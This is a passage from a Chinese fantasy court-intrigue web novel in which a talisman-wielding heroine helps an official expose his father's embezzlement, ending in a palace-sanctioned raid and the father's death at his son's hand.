京城中其他数组追赶“何立骅”的将士,皆以各种狼狈的模样撞在一起,最终只在地上发现一张黄色小纸人而已。 “…用黄纸制成的身外化身,虽只能如常人般活动,并无那些穿墙或透视的技能,但也能骗过那些手下,够何钦喝一壶了。” 徐莞说着,嘴角不由得弯起一抹耐人寻味的笑。 果然如她所说,当这些消息传入何府中何钦的耳中时,何钦勃然大怒,嘭的一掌拍在身旁的桌案上。 “岂有此理竟敢耍我!定是慕怀瑾那会妖术的小媳妇搞的鬼!” “那真正的何立骅呢?”永嘉侯府内,慕怀瑾又问。 徐莞端着茶杯,微眯着眼幽幽道:“真正的何立骅,早就坐在定北王府的马车上,随鄞玄一同向皇宫而去了。” “可若是如此,何钦定会加派人手看紧皇宫和何立骅可能会出现的各处…” 在慕怀瑾说话的同时,何钦也正在对手下副将下令道: “传我的命令,让所有将士分三路分别守在永嘉侯府,通政使司和皇宫周围。一旦发现何立骅或永嘉侯府的人,即刻动手杀之!” “是,将军!” “……看守如此之紧,他们又该如何进入皇宫呢?”慕怀瑾问。 徐莞胸有成竹一笑,“放心,鄞玄跟何立骅自有办法。” === “传我的命令,所有将士分三路分别守在永嘉侯府,通政使司和皇宫周围。一旦发现何立骅或永嘉侯府的人,即刻动手杀之!” 何钦的命令传下去后,不出一炷香的功夫,皇宫各个入口处的禁军,便都被何钦的手下收买,要求他们一旦见到何立骅便将其捉拿。 而此时,何立骅正与鄞玄一同坐在马车里,稳稳地向皇宫而去。 鄞玄放下车窗帘,将目光从外面收回,对何立骅道:“街上何钦的人确实都不见了,估计宫门处应该派驻了人手。慕夫人给你准备的符纸带好了吗?” 何立骅做了个深呼吸,点点头,“带好了。若是待会儿有人硬要查看马车,我就将这符纸用上。” 在二人谈话同时,马车已驶到了德胜门前。 守卫在德胜门前的禁军队长,即刻带着两名手下向车夫打手势,示意停车。 “停车!马车内是何人?”禁军队长行至马车旁,向车夫问道。 车夫回道:“大人,这是定北王府的马车。车内就是我们王爷。” “定北王?”队长微微眯起眼,目露怀疑之色,“王爷今日缘何进宫?” “王爷是去向太后请安的。” 得到此答复后,队长依旧未放松警惕,示意身后的两名禁军将车外检查一番。 两名禁军一个绕着车走了一圈,另一个蹲下身去检查车底,但却都一无所获。 禁军队长随即将目光投向了车门处,冷声问:“车上除了王爷还有何人?” “没有了,只有王爷一人...” 车夫的话音未落,马车中便传出鄞玄略略不耐的语声,“外面出了何事?为何停了这许久?” “回王爷,是禁军队长在询问...”车夫道。 禁军队长即刻单膝跪地抱拳道:“参见王爷。皇上今日因梦魇惊惧心慌,要求我等加强入宫车辆的检查,还请王爷恕罪。” 过了片刻,鄞玄才道:“无碍。李叔继续驾车进去吧。” “等等!”禁军队长却再一次拦住了马车。 车夫此时也有些恼了,“大人还有何贵干?” 队长对着车内的鄞玄道:“王爷,皇上的意思是,进宫车辆一律开门严查,谨防任何可疑之人进宫。” 车夫立即喝道:“大胆!” 车内鄞玄的声音也随之响起,“李叔!” 车夫噤声后,只听鄞玄缓缓道:“外面的这位,你的意思是本王骗你?本王车里还藏了可疑之人?”语调中带着锋芒与杀气。 门外守卫的一队禁军齐齐下跪,“属下不敢!我等也是奉皇命行事,还请王爷见谅!” 车里的声音又静了片刻,随后鄞玄冰冷的嗓音再次响起。 “你的意思是,要检查本王的马车?若是没有你说的可疑之人,你该当如何?” 禁军队长不禁一凛,颔首深吸几口气,纠结片刻。 就在一盏茶功夫之前,一名他的上级专程过来向他嘱咐,往后进入皇宫的每辆马车,都要严加搜查。 尤其是永嘉侯,定北王和周祎仁府上的马车。若是发现何立骅的踪影,立即捉拿,甚至将其处理掉。 上级刚命令完不久,定北王府的马车便出现在了此处。 且定北王今日未被召见,平时也很少进宫,今日为何特意前来向太后请安? 此事着实可疑。但看他那笃定的架势,队长又有些畏惧。 若何立骅真不在他的马车里,自己不是就得罪了定北王? 可若是放过了这辆车,而何立骅就在这辆车中,事后上级追究下来,他也没有好果子吃。 队长越想越害怕,反复权衡之下,还是选择让定北王打开车门检查。 毕竟他们是奉命行事,就算车上无人,定北王也不会要他的命。而若是得罪了上级和他们背后的大人,那可真是要命的。 思及此,队长鼓起勇气应道:“若是没有,属下听凭王爷处置!” 车里的鄞玄听罢,旋即朗声道:“好。李叔,打开车门!” 第357章 357.隐身符加持 车里的鄞玄听罢,旋即朗声道:“好。李叔,打开车门!” 车夫应声嚯地开门,队长与两名禁军一同抬眼向马车内望去,但见宽敞奢华的马车内,确实仅坐了定北王一人。 且从车内的构造和装饰来看,也无任何可藏人之处。 禁军队长这才意识到自己押错了注,慌忙与其他禁军一同下跪,向定北王请罪。 “叩见王爷!是属下失礼,属下听凭王爷处置!” 定北王放在膝头的手,略略转了转手指上的翠玉扳指,阴沉而又毫不在意地说:“你也是奉命办事。如此,你今日便辞官回乡,往后永不得再踏入京城。” 队长长长出了一口气,只要不是要我的命,什么都好说! “谢王爷恩典!” 鄞玄垂眸望着马车外跪着的一片禁军,嘴角暗暗露出一抹耐人寻味的笑。 “李叔,走吧。” 车夫李叔将车门关闭,车外的禁军也都起身为他们的车子让开一条路,又将宫门打开。马车便摇摇晃晃驶了进去。 而此时马车内,原本只坐了鄞玄一人的马车,在他对面的榻上突然显现出了另一个人的身影,正是他们苦找的何立骅。 何立骅大口大口喘着气,一副如释重负的模样,手中还握着一张黄色符纸,像是将将从身上揭下来的。 “呼,方才好险。他们开门那一刻,我大气都不敢出。” 鄞玄则轻松闲适地睨着他,“慕夫人给的隐身符绝不会有疏漏。何大人真不必担心。” 好在最凶险的一关已过,何立骅也稍稍平复了紧张的心绪,接下来便要带着证物去面见皇上了。 马车驶到皇宫内的端淑阁前便不能再前进。 鄞玄与何立骅一同下了马车,向御书房而去。此时皇上刚刚下朝,正是最好的时机。 到了御书房外,何立骅请候在外面的掌印太监张德全去向皇上通报。 张德全大致了解情况后,便入内向皇上景逸道:“皇上,左通政使何立骅大人在御书房外求见。他说,要检举他爹一品都督同知何钦大人私吞朝廷赈灾款之罪。” “什么?”正在批阅奏折的景逸,笔尖蓦地一滞,“带他进来!” 片刻后,何立骅便由李德全带进了御书房。 何立骅下跪行礼后,景逸随即遣走了书房内所有的太监,仅剩下他们二人。 景逸坐在桌案后,眸光深沉望着面前狼狈又憔悴的何立骅,眼底深处还带着隐隐的兴奋。 “爱卿平身。” 何立骅起身后,景逸开门见山问,“听闻爱卿,要检举自己父亲?” “是,皇上!”何立骅抬首急切道:“我爹十四年前前往甘州赈灾时私吞赈灾款。为了隐瞒真相,还派魏志鸿杀害了当年关县令一家。又放火烧毁关宅,妄图掩盖证据,以至引燃整座嘉礼县城,致县民死伤二百余人! 臣上述所言皆有证物可证,求皇上定要秉公处罚,以正朝纲!” 景逸心中一惊,没料到何立骅是来真的,将证物都收集齐了。但他依然疑惑,何立骅为在此时才检举何钦。 “何爱卿,何钦大人可是你爹啊?你是何时知晓这些事的?为何此时才来检举?若是你从前知情不报,你可知朕一样可以治你的罪!” 景逸突然拔高了声量,将何立骅惊得扑通一声又跪了下来。 “皇上息怒!臣也是最近才知晓的。我去调查我爹,皆因我儿宏彦的病而起...” 之后的半个时辰,何立骅将这几日去嘉礼县调查的缘由及过程一一讲与景逸。但将涉及到慕怀瑾与徐菀之处,都刻意隐去。 比如因为何宏彦在犯离魂症时,口中反复叨念着嘉礼县这个地方,何立骅才决定去嘉礼县进行调查。在嘉礼县调查时,也都是由他本人找到了疑点,并步步推进。 “...臣昨夜回京后,没成想我爹竟也连夜从东部军营赶回了京城。他逼我交出证据,甚至用我妻儿的性命威胁。 臣的三名护卫拼死抵抗,才让臣与妻儿趁机逃脱。后来我爹派他的手下在全京城抓我。臣无处可躲,恰巧遇到了定北王的马车,才被王爷所救带回了王府。 甚至臣方才藏在定北王的马车内入宫,在宫门处都被盘问了半晌,直至王爷打开车门让禁军细细检查过后,才肯放马车进宫。” 说到此处,何立骅缓了缓,深吸几口气,又道:“皇上,何钦虽是我爹,但他枉顾我国礼法,且毫无悔改之意,甚至想弑子灭孙。 如此十恶不赦之人,臣无法再与他共事下去。但他毕竟是我爹,还请皇上为他定罪后,允许臣代何钦受罚!” 听完何立骅的一番陈述,景逸胸中惊怒万分。 母后不止一次对他说过,何钦这些年仗着自己的军功居功自傲,在军中建立了自己的势力,有朝一日恐有越权谋反之意。 景逸本不太相信何钦有本事谋反。可没成想他早在十四年前,就已有胆子贪污赈灾款,还烧毁整座嘉礼县,以掩盖自己的罪行。 如今更是无传召便私自带兵回京,甚至宫中的禁军都听命于他的手下。 以上任何一条,都够何钦罢官斩首,株连九族了。 不过幸好,何钦的儿子恰好在此时送来了齐全的证据,如今只需找到那笔被私吞的赈灾款,便可将其定罪。 但最关键的是,能否抓住何钦。 “何钦如今在何处?他带了多少人回来?”景逸问。 “他应该还在京城。至于带了多少人…”何立骅顿了顿道:“臣不知。只知何府和京城内大约有五十人。” 景逸思虑片刻后道:“你跟定北王暂且留在宫中,待朕与太后商议后,再行下达皇命。” 随后,张德全进殿将何立骅带出去,将其带进一间偏殿休息。 景逸则立刻去了太后的寝宫,将何钦之事一一讲给太后。 太后听后凤颜大悦,“这真是千载难逢的机会啊。哀家苦何钦久矣,如今终于有机会能将其除掉了!” “依母后之见,如今该如何做?” 太后思索片刻后道:“如今证据在手,当务之急便是将何钦捉拿归案。 先命京城各城门关闭,任何车辆人员不可出入。再派几名斥候,去往京城东南西北五十里外探查何钦带回来的兵力。 同时命定北王与何立骅率领一百禁军包围何府,搜查何府中是否有被贪污的赈灾款。 若是何钦就在何府,便将其当场捉拿。若其敢反抗,定北王可当场杀之。” 第358章 358.封城围剿何钦 “若是何钦就在何府,便将其当场捉拿。若其敢反抗,定北王可当场杀之。” 说到最后一句时,那个“杀”字从太后口中一出,她往日温柔慈祥的面目,也忽然变得阴狠可怖。 景逸的双眼蓦地睁大,显然有些吃惊于母后的狠辣。但他从不敢质疑太后的命令,只敢小心地问: “母…母后,若是鄞玄杀不了何钦呢?” “杀不了也无所谓。”太后漫不经心地说,眼中闪过一抹促狭与狠毒,“他们两方对峙,必会拼个你死我活。 不是鄞玄杀了何钦,就是何钦杀了鄞玄。但不管他们二人谁死,对皇帝你来说,都是去除了一个心腹大患。 剩下的那个,再安排禁军寻机杀之。如此,我们母子便可高枕无忧了。” 话毕,太后忍不住哈哈笑了起来,景逸也听得双眼放光。 “高!母后的计策果然高啊!那儿臣这就给他们吩咐下去。若是一切顺利,今日便可将他们二人一网打尽!” 而此时的鄞玄,还不知太后与皇上的计策。 他在宫中的御花园中逛了两圈,估摸着时候差不多了,便向御书房而去。 问过外面当值的太监,才知何立骅正在偏殿等候。鄞玄便也踱步而去。 但二人碰面后还未说上一句,张德全便携皇上的圣旨前来宣旨。 听罢圣旨内容,二人齐齐陷入怔忪,不过还是依礼下跪接旨,“臣接旨!” 张德全走后,偏殿内仅剩他们二人。何立骅惴惴不安道:“王爷,皇上命我们带禁军前去搜查何府,意欲何为?” 鄞玄细细思忖片刻,心中已有了答案,“皇上这一石二鸟之计使得真是了得。看来今日我们与何钦,必要分出个你死我亡。” === 皇上的秘旨很快传了下去,京城各城门处驻守的京卫得令,立即关闭城门,严令城内城外人员进出。 城内的气氛很快便紧张起来。 京城中的高官权贵之家听闻此事,皆将未回府的家眷迅速接回府,随后便府门紧闭,并加派家丁看住各个府门。 许多商铺得到消息,忙不迭将店内的客人请走,闭门谢客。街上闲逛的百姓,也都快步回家,将门窗紧闭,唯恐稍后大事发生时误伤到自己。 此讯传到永嘉侯府,管家福叔又小跑着赶来通报。 “侯爷!侯爷!府外那些盯梢的人撤了,但街上多了甚多京卫,甚至禁军都出动了。 老奴还听闻,京城各个城门皆已落锁,严禁任何车马人员进出。侯爷,京城是不是有大事要发生呀!” 正在松风苑庭院中品茶对弈的慕怀瑾和徐菀两人,闻言略略停下落棋的动作,执着棋子侧过头去。 “哦?看来何大人与鄞玄已进宫见到皇上了。”慕怀瑾淡淡道。 “皇上的动作也真够快的,禁军都派出来了。看来此役定要治何钦于死地了。”徐菀道。 “只是不知皇上会派何人带领禁军前去捉拿何钦。” 慕怀瑾的话音方落,徐菀脑中便嗡的一声,蓦地腾起一股不详之感。 她的目光恰好落在面前的棋案上,但见黑子与白子错落拼凑成坎卦的形态。 此为大凶之卦... 徐菀的不详之感愈加浓烈,她立即掐指一算,随后猛然抬起头,“糟了!皇上派去的人是定北王!此乃大凶之兆,他此去凶多吉少!” “什么!” === 与此同时,还留在城内的何钦手下收到消息,即刻将其传回何府。 何钦闻之震怒异常,“混账!立骅这逆子竟真跑去向皇上检举我。看来皇上必想要我的命了!” 郭副将在旁侧略略担忧说:“将军,此次回京我们仅带了五百人。要从东部军营调人,急行军还需两天两夜。若是真与京卫或禁军起了冲突,我们恐怕不占优势。” 何钦抬起头,做了个深深的吐纳,平复下胸中的怒气后,平声道:“无碍。就算皇上想处置我,但找不到那些赈灾银两,就无法定我的罪。 左右我如今出不了京城,不如泰然坐在府中,等着看皇上派何人来抓我。” 就在这时,又有何钦手下急奔来报。 “启禀将军,府外来了大批禁军,约有一百人,如今已将何府团团包围!” 何钦霍然起身,“统领是何人?” “是定北王,还有……令公子何立骅…” 何钦瞳孔骤然一缩,冷哼一声,随后又露出一抹冷笑。 “看来这计策定是太后出的,清楚我与定北王的渊源。命定北王来捉拿本将,无论谁输谁赢,太后皆可坐享其成。但本将不会让他们如此轻易便得逞的。” 就在这时,又有手下来报,“启禀将军,定北王与何立骅拿着皇上的手谕已带兵进入府邸,正往这边而来!” 通报的话音刚落,一片沉重的脚步声,如雷鸣般隆隆朝这边压了过来。 何钦抬首望去,只见两名男子带着大批禁军,气宇轩昂走进了何钦的庭院。 其中年轻的王侯身着常服,仅在腰间佩着一把削铁如泥的辟邪宝剑。 但他那坚毅冷硬的面容,以及沉静霸气的气场,还是给人一种无形的压迫之感。 那是只有真正领兵上过战场,与敌人拼死搏杀之人才会有的眼神。 何钦很清楚。 此时的他亦未穿战甲,面对着庭院那端的鄞玄,何钦也丝毫不惧。 鄞玄带着禁军方一进入庭院,庭院中立着的何钦手下便齐齐刷地拔出刀剑,对准了他们。 而禁军见此,亦举起兵器对准他们,就等鄞玄一声令下。 当时是,坐在前厅中的何钦忽然一抬手,示意手下将兵器收了。 郭副将等人见状,只好紧盯着禁军,小心翼翼将刀剑收起,并慢慢往后退。 这时,何钦站起身,自前厅一步步走了出去,面上带着漫不经心,又意味深长的笑。 “定北王,好久不见。没成想你我再见,竟是在京城。” 鄞玄收敛着气息道:“何将军,别来无恙。” 何钦又将目光移向鄞玄身旁的何立骅,略略讥诮道:“想不到有朝一日,我的儿子竟会与定北王站在一起,且站到了我的对立面。儿啊,这就是你想看到的吗?” 第359章 359.大义灭子 “想不到有朝一日,我的儿子竟会与定北王站在一起,且站到了我的对立面。儿啊,这就是你想看到的吗?” 何立骅咽下一口气,决绝道:“爹,求求您,别再执迷不悟了。你当年所做之事皇上全都知道了。我也求了皇上让我替您受罚。 如今何府已被禁军团团包围,只要您现下主动认罪伏法,皇上可饶您一命。我们全家便可全身而退从京城离开。爹,认罪吧。” 何钦听罢,哈哈大笑起来,“哈哈哈…本将听不懂你们在说什么?本将何罪之有?” 鄞玄厉声道:“大胆何钦!你借赈灾的名义,私吞赈灾款五十余万两。又派魏志鸿前去收买嘉礼县关县令。 收买不成,竟命人将其杀害,并一把火烧了关府。火势蔓延至整个嘉礼县城,最终酿成全县二百余人死于大火之中。 后来你还命娄贲帮魏志鸿调换了科举试卷,助他一路平步青云。对了,还有此刻你未经皇上召见便擅离军营,私自回京。 以上任意一条都可将你罢官免职,抄家流放!何钦,你可知罪?!” 何钦不愧是久经沙场的老将,面对鄞玄气势十足的质问,仍旧镇定自若,稳如泰山,“你们有何证据?” 鄞玄将证物一件件取出,摔在何钦面前。 “这些是甘州州府与嘉礼县县衙中的卷宗和账册。这是关县令当年寄给通政使司检举你私吞赈灾款的书信。还有这是自娄家搜出的,你们密谋调换试卷的书信。 证物皆在此,你还有何好辩解?” 何钦看罢,再次发出狂妄的笑,“这些不过都是可以伪造的证据罢了。关键是,你们说我私吞了五十余万两赈灾款。 请问定北王,那些银子如今在何处?” 何立骅见何钦提到那笔银子时如此淡定,心中不禁打起了鼓。 难道银子并未藏在何府? 鄞玄却不受他的误导,指着他厉声质问:“这是本王该问你的问题!罪人何钦!你将贪污的赈灾银两私藏在何处?快快交待!否则本王便命禁军掀了你这何府!” 何钦仍旧是那副死猪不怕开水烫的态度,将两手一摊道:“掀吧。本将还真想知道那些银子在何处。” 鄞玄见他眼中丝毫无畏惧之色,也有一丝怀疑何钦到底是在演戏,以让他们打消怀疑,还是银子真不在此处。 而就在这时,自庭院外忽然传来一道高亢的老年妇女之声。 “那些银子就在何府,而且就在这院落当中!” 众人闻之皆是一惊,齐齐转头望去,竟见是何钦的娘亲,何府太夫人,在一群嬷嬷丫鬟的簇拥下赶来了此地。 “娘…你怎么来这儿了……” 何钦亦是一愣。昨日不是派人看守住太夫人的院落了,怎的今日她竟出来了。 太夫人屏退了身旁嬷嬷们的搀扶,拄着拐杖咚咚地敲着地上的石板,一步步向庭院中央走去。 面上严厉肃穆,又懊恼失望的神情,令她周身的气场亦大了好几倍。 两旁的禁军与鄞玄等人,皆不由得后退为她让出一条路来。 只见太夫人独自一人走到何钦面前,指责道:“钦儿,你如今真是官做大了,连娘都不放在眼里了,竟然还派人将娘软禁在院子里。 你可知娘昨夜一晚上未眠,直到方才禁军入府,混乱之际,我院中的两位嬷嬷拼上性命才冲破你手下的防线,随后其余嬷嬷才能将我护送至此。 你如此行事是想做甚,不顾娘的死活,想将娘气死急死吗!” 何钦扑通一声双膝跪在太夫人身前,“娘!孩儿不敢!孩儿只是…怕外界刀剑无眼,恐会伤了您……” “够了!”太夫人怒吼一声,“这些刀剑危难又是何人带来的?你不清楚吗? 昨晚立骅向我说起你这些年犯过的错,我还为你说情,让他莫要将你那些事供出去。 可你昨晚竟想对立骅下手,甚至还想伤害宏彦何和玉卿!他们可是你亲生的儿孙啊!你是想亲手让自己断子绝孙?!” “娘…不是…”面对太夫人的质问,何钦面上终于流露出慌乱的神色,“孩儿也是无奈啊……” 还不等他说完,太夫人即刻打断了他,“不用再说了!你犯下滔天大罪却不知悔改。如今当着王爷与禁军的面还敢违抗皇命、拒不认罪,甚至让自己的人与禁军拔刀相向。 你是想让我何家一族背上犯上作乱、谋朝篡位的大罪吗!” “娘!孩儿不敢……” “不敢?”太夫人低头瞪着何钦,一字一句命令道:“那你现在就老老实实说出来,那些银子被你藏在何处!” “我…”何钦顿了顿,眼风朝右下扫了一眼,紧接着再次抬眼道:“娘,孩儿真不知道啊!” 太夫人见此,眼中的情绪彻底变成失望,随后发出一声冷笑,“呵,看来你是铁了心要置我们何家全族于死地。那就别怪老身大义灭子了。” 何钦与庭院内众人皆是一凛。 这太夫人难道真要与何立骅一般,将自己儿子供出去? 何钦则是不可思议地望着太夫人,嘴唇哆嗦着,眼里尽是被至亲之人误解背叛的心痛。 太夫人亦垂首凝望着他,眼里渐渐泛起点点泪光,目光中有心疼不忍,亦有亏欠自责。 她抬手抚上何钦的发顶,语声微颤道:“钦儿别怕,娘会陪你一同下去的。在泉下娘还要向你爹解释,他应该会原谅我的。” “娘……” 太夫人说罢即刻转身,任何钦抱着她的腿求情,她都未有一丝一毫的迟疑,面向鄞玄将自己所知大声说了出来。 “王爷!据老身所知,十四年前我儿从甘州回京的那几日,夜里老身听到持续的砸墙声。如今想来,或许是我儿将那些银子藏在了某间屋子的墙里。 请王爷搜搜出证物后,饶我孙儿立骅和重孙宏彦一命!” 太夫人说完,竟猛然转身向一旁的立柱撞去。 万幸离何立骅较近,一个健步冲过去挡在石柱之前,救了老夫人一命。 “祖母!您别这样!”何立骅扶住太夫人,忙招手唤嬷嬷们来帮忙。 第360章 360.银子又回来了 “祖母!您别这样!”何立骅扶住太夫人,忙招手唤嬷嬷们来帮忙。 何钦亦从地上站起,想要伸手去扶,却见何立骅已经将其救下,便悻悻地收回了手,往回退了几步。 几位嬷嬷将太夫人扶至庭院中的石凳上,又喂她吃下救心丸,才让她的面色回转一些。 何立骅留在太夫人身边陪伴着她,其他人的注意力这才再次转回到何钦与鄞玄身上。 鄞玄的目光平静却颇具压迫感,紧紧盯着何钦,开口向身后禁军吩咐道:“禁军将士听令!细细搜查何钦的院落,任何一角都不要放过!” “等等!”就在这时,何钦突然开口叫停。 众人的目光皆落在他身上,只见他双眼定定望着鄞玄,稳如泰山道:“王爷,您可以让禁军搜查。但若是最后未搜到,本将可否请你们离开我的私宅。改日我自会亲自去向皇上解释。” 听罢,鄞玄心中不由暗暗佩服何钦的心理素质,都已兵临城下,他还能如此淡定,果然不是池中物。 若不是徐菀之前就已告诉他,银子就在何府中藏着,鄞玄或许都会被他的演技所震慑。 于是,鄞玄朗声许道:“好!若是没搜到,本王自会带兵离开。” 何钦泰然一笑,当即向旁侧让了一步,做了个请的手势,“王爷请!” 鄞玄再次一声令下,“众将士进去搜!” “是!” 身后禁军齐齐高呼一声,数十名禁军在队长的指挥下,兵分三路向院落中的三间屋子而去。 何钦的手下见此,慌忙望向何钦,“将军...” 何钦立即抬手制止,“无碍,让他们搜。待他们搜完找不到银子,本将看他们如何给皇上交代。” 何钦胸有成竹地想,待他们搜到寝屋内那面墙后,却发现墙内空空如也,什么都没有时,会是何种表情。 禁军纷纷冲入屋内,将屋里的物品尽数扫到地上,桌椅板凳、花架烛台、衣柜案几,皆推翻在地。床榻下方和地板下也都细细检查过。 少倾,几名禁军将墙上挂的文宝画作一一撕下,终于发现某面墙上有处颜色与周围墙壁颜色不大相同,像是重新砌过。 几名禁军即刻将这一发现报告给鄞玄,“启禀王爷!属下在屋内的墙上发现一片重新砌过之处。” 鄞玄眼眸微亮,“将那块砸开,看看里面有无证物!”说罢,鄞玄也跟着禁军进到屋内。 两名禁军抄起大锤,哐哐几下便将那面墙砸出一个大洞。 何钦则立在不远处,好整以暇地望着他们在那边忙活,就差手中拿着一把瓜子了。 想到鄞玄待会儿满怀期待着走进那洞里,却发现空无一物,何钦就忍不住想笑。 正当何钦如此想着,那当鄞玄已派禁军钻入洞中查探。 片刻后,便有禁军的声音从中传出,“王爷!此处有八个大箱子,里面不知装着什么!” 何钦:“???” 什么?八个大箱子?怎么可能! 懵逼的何钦根本不知,其实他的八箱银子,一直都放在墙后的密室中。 就在一柱香的功夫之前,徐莞使用隐身符潜入何府,悄悄解除了设在箱子上的隐身咒。 如此,当禁军砸开墙壁后,那八箱银子便展现在他们眼前。 此时的徐莞正用隐身状态,坐在何钦身旁的软榻上,一手撑着下巴满怀期待地望着他,就等着待会儿看何钦的表情。 鄞玄听到汇报,也忙不迭弯身钻了进去,“快快将箱子打开!” 两名禁军长剑一挥,咣咣咣将箱子上的锁砍断,再掀开箱盖,满满一箱亮闪闪的银子便呈现在禁军眼前。 “找到了…将军!何钦贪污的银两在此!” 鄞玄走上前去一看,此处的八个大箱子里,满满当当放的尽是白花花的银元宝,看数量加起来大致有五十万两! “好啊,贪污的赈灾款就藏在此处。如今人赃并获,何钦你还如此狡辩!” 而密室外的何钦,此时已傻在原地。 何钦眼神直愣愣地望着那八箱沉甸甸的银子,如同被雷劈了一般,脸色煞白,额角都渗出一层冷汗,浑身微微颤抖着,满脸不可思议。 昨晚此处明明什么都没有,今日为何…这些银子为何又突然冒出来了…… 见鬼了…真是见鬼了…… 一旁的徐莞望见他的表情,差点笑喷出来。 精彩,真是精彩! 可惜如此精彩的表情,怀瑾是看不到了。 哎,早知道就给他一道隐身符,带他一起进来了。 不过此时他应该也快到了吧。 正在何钦怔愣,徐莞暗喜之时,鄞玄已从密室中走出,向禁军命令道:“将罪人何钦拿下!” 立在原地还在出神的何钦,当即被附近的两名禁军擒住手臂,按着跪在地上。 周围何钦的手下见此,又刷地一声齐齐拔出刀剑,对准了此处的禁军,就等何钦一声令下,便举刀开杀。 而何钦被两名禁军按着跪在地上,先是低着头一动不动。 片刻后,一阵冷笑声,从低着头的何钦口中传出。 “哈哈,哈哈哈,哈哈哈哈……”这笑声断断续续,最后转为仰天大笑。 众人的目光皆聚焦在何钦身上,但见他笑过一阵后,抬起头望向鄞玄,表情狂妄。 “好啊,你们准备的果真周全。不过鄞玄,你妄想这样就让我认罪伏法?做梦!” 说到此处,何钦的眼神蓦地一变,周身腾起一股阴狠的杀气。 紧接着只阴沉地说了两个字,“动手!” 何钦的两个字一出,何府庭院内的所有手下皆如解除封印一般,举起手中兵器向周围禁军疯狂扑砍而去。 何钦本人也在喊出那两个字的同时,手臂猛地一用力,便将按住他的两名禁军扔飞出两米远,重重撞在屋内的柜子和桌案上。 鄞玄见此亦反应迅速朝何钦冲了过去,两人即刻拼打在一起。 一时间,何府这处庭院内,身着红衣金甲的禁军,与身穿绿衣薄甲的何钦手下,激烈厮杀在一起。 第361章 361.亲手弑父 何钦带来的五十人各个武艺高强,杀敌经验丰富。 而皇室供养的禁军亦训练有素,配备的兵器与铠甲皆是上乘,战斗力亦不可小觑,且人数众多。 先前还没能进府的另外五十名禁军,得到府中开打的消息,旋即依照命令从何府各个方位冲进去,对何钦的人手前后包抄,来个瓮中捉鳖。 鄞玄与何钦那边也拼杀得尤其激烈。 两人皆是在战场历练多年的将军,深谙领兵打仗之道,武艺与力量也不分上下。 但二人一个正直壮年,另一个却年过四旬,身上旧伤无数,在与年轻将军对战时,难免有些力不从心。 正因此,何钦不得不使出些不入流的技巧,那些下三滥的技巧鄞玄根本不屑于使用。 随着战况的进行,何钦的手下因人数不占优势,死的死伤的伤,尸体遍地。 剩下的手下逐渐被禁军皆逼到了这个院落中,眼看就只剩下了十几人。 这时,郭副将一面抵挡着禁军的攻击,一面向何钦喊道:“将军!禁军人数太多,再如此下去我们都会死在这里! 将军,我和弟兄们掩护你,你快逃出去!我已通知了城外的五百名将士前往东门接应。您此时赶往东门必能逃出去!” 何钦此时格挡住鄞玄的剑,再用力一推,鄞玄被推得后退几步,让何钦有了喘息的时间。 何钦回首望了郭副将,以及还在为自己拼杀的兄弟们一眼,眼底流露出一丝不忍。 “咱们一起撤!”何钦向郭副将喊道。 郭副将苦苦抵挡着三名禁军的围攻,依然侧过头让何钦赶紧走。 “不要管我们!您快走!我们还能再撑一会儿!他日您平安了一定踏破宫门为我等报仇!” 就在郭副将大喊时,一个躲闪不及,便被一名禁军一剑刺中腹部。 但闻噗嗤一声,利剑没入皮肉的声音响起。郭副将吃痛捂住腹部,下一刻再拔出时,又是嗤的一声,一大片血花飞溅而出。 “郭明!”何钦登时心头大震,大喊着便要向郭副将冲去。 可就在这时,后方的鄞玄也缓过力来,从何钦背后向他的胸口刺去。 郭副将看到这一幕,强忍着腹部的疼痛,猛然向何钦扑去,抱着他迅速转身。 紧接着又是噗嗤一声,在何钦还未反应过来之前,鄞玄的剑已从背后刺入郭副将的心脏。 “郭明!”何钦抱着身中数剑的郭副将,嗓音都变了调,眼中的惶然与惊愕尽数而出。 郭副将口吐鲜血,望着何钦只说了几个字,“将军…一定要活下去…” 话音未落,郭副将已气绝身亡,从何钦的手臂中瘫软跌倒在地。 何钦双目微红,愤然心痛地望向地上郭副将的尸首,恍然间听到面前鄞玄的话语。 “何钦投降吧。否则会有更多人为你而死!” 但此时的何钦,已被身边至亲弟兄们的死冲昏了头脑,忘记了京城内还有数十名手下,忘记了京城外还有五百东部军营的精兵,甚至忘记了方才郭副将的遗言。 脑海中唯有一个念头:杀了鄞玄,杀了皇帝,将皇位踩在脚下,为自己的将士们报仇! 于是,何钦疯魔一般挥剑向鄞玄砍去。饶是鄞玄早有防备,也被何钦的猛烈攻击打得连连后退。 随后二人你来我往,招招狠厉,尤其是何钦,使出了必死的决心,要与鄞玄打个你死我活。 周遭何钦的手下,也一个接一个相继倒下。一时间,庭院中刀光剑影、血肉横飞。其惨烈程度,竟是比一般战场更胜。 而就在何钦专注于与鄞玄的决斗中时,后方一人缓缓举起一把弓箭,拉弓上弦,将一只锋利羽剑搭在了弓弦之上,随后转动方向对准了何钦的背部,紧接着猛地放箭! 嗖的破空之声随即响起。 何钦听到声响迅速转身,却在看清那放箭之人时,蓦地顿住了身子。 只见不远处那个举着弓箭对准何钦的人,正是他的儿子——何立骅! 而就因何钦愣神的这一瞬,未能及时躲开那支箭,那支锋利的羽剑,便如宿命般疾速向他的胸口飞来,噗嗤一声深深扎进了他的心脏! 与此同时,另一方的鄞玄未收住攻势,在何钦转身之际,也一剑刺向了他胸口的位置。 何钦整个人登时剧烈一颤,随后便定在原地。 他缓缓低下头望向自己胸口插着的羽剑,又慢慢抬起头望向不远处的何立骅,嘴角露出一抹自嘲又苦涩的笑。 “呵呵...老天啊,你可真是造化弄人...” 说着,一股鲜血从何钦的嘴角流了出来。鄞玄猛地拔出剑,何钦便吃痛闷哼一声,颓然倒地。 “爹!” “钦儿!” 何立骅与何家太夫人齐齐大喊,踉跄着向何钦而去。 “爹...对不起...”何立骅颤抖着托起何钦的后颈,面对死在自己箭下的父亲,无地自容,又无可奈何。 弥留之际,何钦也无力再责怪任何人,只拉住何立骅的手,鼓着一口气嘱咐道:“记住你说过的话...活下去...带着宏彦回乡隐居,让我们何家人安宁平淡地活下去...” 说罢,何钦眼中的光,渐渐暗了下去。恰巧一只雄鹰飞过天际,倒映在他混沌的眸子里。 此刻的他,多么向往如同这只雄鹰般,自由翱翔于天际。 可他这一辈子,却都深陷于权利与欲望的牢笼中作茧自缚,末了竟被自己的儿子亲手杀死。 不知何钦在死后,能否意识到自己犯下的错,愿为那些因他而死的人,承受地狱业火之刑呢? 何钦的眸子终于闭上了,何立骅与太夫人,却依然抱着他的尸首崩溃大哭。 剩下的几名何钦手下,见自己主子已死,明白再无活下去的机会,也都将心一横,喊着何钦的名字,齐齐割喉自刎。 